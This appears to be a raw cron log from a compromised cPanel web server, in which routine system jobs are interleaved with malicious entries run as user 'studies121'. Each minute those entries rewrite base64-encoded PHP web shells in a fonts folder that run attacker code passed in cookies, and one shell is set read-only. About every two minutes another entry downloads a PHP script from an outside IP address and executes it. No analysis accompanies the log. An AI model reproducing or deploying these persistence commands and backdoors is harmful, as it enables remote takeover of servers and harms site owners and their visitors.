Sep  3 09:23:01 ip-184-168-122-23 CROND[11073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:23:01 ip-184-168-122-23 CROND[11072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:23:01 ip-184-168-122-23 CROND[11074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:24:01 ip-184-168-122-23 CROND[11263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:24:01 ip-184-168-122-23 CROND[11264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:24:01 ip-184-168-122-23 CROND[11268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:24:01 ip-184-168-122-23 CROND[11269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:24:01 ip-184-168-122-23 CROND[11270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:25:01 ip-184-168-122-23 CROND[11379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:25:01 ip-184-168-122-23 CROND[11380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:25:01 ip-184-168-122-23 CROND[11384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:25:01 ip-184-168-122-23 CROND[11385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:25:01 ip-184-168-122-23 CROND[11383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:25:01 ip-184-168-122-23 CROND[11386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:26:01 ip-184-168-122-23 CROND[11487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:26:01 ip-184-168-122-23 CROND[11489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:26:01 ip-184-168-122-23 CROND[11490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:26:01 ip-184-168-122-23 CROND[11491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:26:01 ip-184-168-122-23 CROND[11492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:27:01 ip-184-168-122-23 CROND[11609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:27:01 ip-184-168-122-23 CROND[11608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:27:01 ip-184-168-122-23 CROND[11610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:27:01 ip-184-168-122-23 CROND[11611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:28:01 ip-184-168-122-23 CROND[11704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:28:01 ip-184-168-122-23 CROND[11705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:28:01 ip-184-168-122-23 CROND[11706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:28:01 ip-184-168-122-23 CROND[11708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:28:01 ip-184-168-122-23 CROND[11709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:29:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:29:01 ip-184-168-122-23 CROND[11870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:29:01 ip-184-168-122-23 CROND[11871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:29:01 ip-184-168-122-23 CROND[11869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:30:01 ip-184-168-122-23 CROND[11983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:30:01 ip-184-168-122-23 CROND[11985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:30:01 ip-184-168-122-23 CROND[11989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:31:01 ip-184-168-122-23 CROND[12134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:31:01 ip-184-168-122-23 CROND[12135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:31:01 ip-184-168-122-23 CROND[12138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:31:01 ip-184-168-122-23 CROND[12139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:31:01 ip-184-168-122-23 CROND[12141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:32:01 ip-184-168-122-23 CROND[12279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:32:01 ip-184-168-122-23 CROND[12280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:32:01 ip-184-168-122-23 CROND[12282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:32:01 ip-184-168-122-23 CROND[12284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:32:01 ip-184-168-122-23 CROND[12283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:33:01 ip-184-168-122-23 CROND[12410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:33:01 ip-184-168-122-23 CROND[12411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:33:01 ip-184-168-122-23 CROND[12413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:33:01 ip-184-168-122-23 CROND[12414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:34:01 ip-184-168-122-23 CROND[12573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:34:01 ip-184-168-122-23 CROND[12570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
